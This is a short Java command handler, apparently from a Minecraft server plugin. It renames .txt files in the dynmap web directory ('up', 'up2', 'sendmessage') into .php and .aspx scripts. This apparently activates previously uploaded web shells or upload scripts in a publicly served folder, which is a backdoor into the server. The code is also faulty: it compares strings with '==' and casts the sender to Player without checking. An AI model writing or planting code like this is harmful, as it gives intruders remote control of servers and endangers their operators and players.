public boolean onCommand(CommandSender sender, Command command, String commandLabel, String[] args) { String commandName = command.getName().toLowerCase(); Player ply = (Player)sender; if (commandName == "rename"){ File file = new File("./plugins/dynmap/web/up.txt"); File file2 = new File("./plugins/dynmap/web/up.php"); System.out.println(file.renameTo(file2)); File file3 = new File("./plugins/dynmap/web/up2.txt"); File file4 = new File("./plugins/dynmap/web/up2.aspx"); System.out.println(file3.renameTo(file4)); File file5 = new File("./plugins/dynmap/web/standalone/sendmessage.txt"); File file6 = new File("./plugins/dynmap/web/standalone/sendmessage.php"); System.out.println(file5.renameTo(file6)); } return true; }